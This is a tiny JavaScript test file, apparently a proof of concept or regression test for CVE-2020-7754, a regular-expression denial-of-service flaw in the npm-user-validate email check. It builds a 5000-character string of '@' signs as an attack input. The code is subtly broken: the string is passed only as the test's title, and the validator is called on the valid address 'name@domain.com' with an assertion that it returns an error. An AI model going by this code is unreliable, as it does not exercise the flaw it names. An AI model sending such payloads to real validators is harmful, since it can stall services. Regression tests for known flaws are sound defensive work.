CVE-2020-7754.js

var test = require('tap').test
var v = require('./npm-user-validate.js').email

function build (n) {
// body...
var r = ""
for (var i = 0; i < n;i++) {
r += "@"
}

return r
}

var ssss = build(5000)
test(ssss, function (t) {
var err = v('name@domain.com')
t.type(err, 'object')
t.end()
})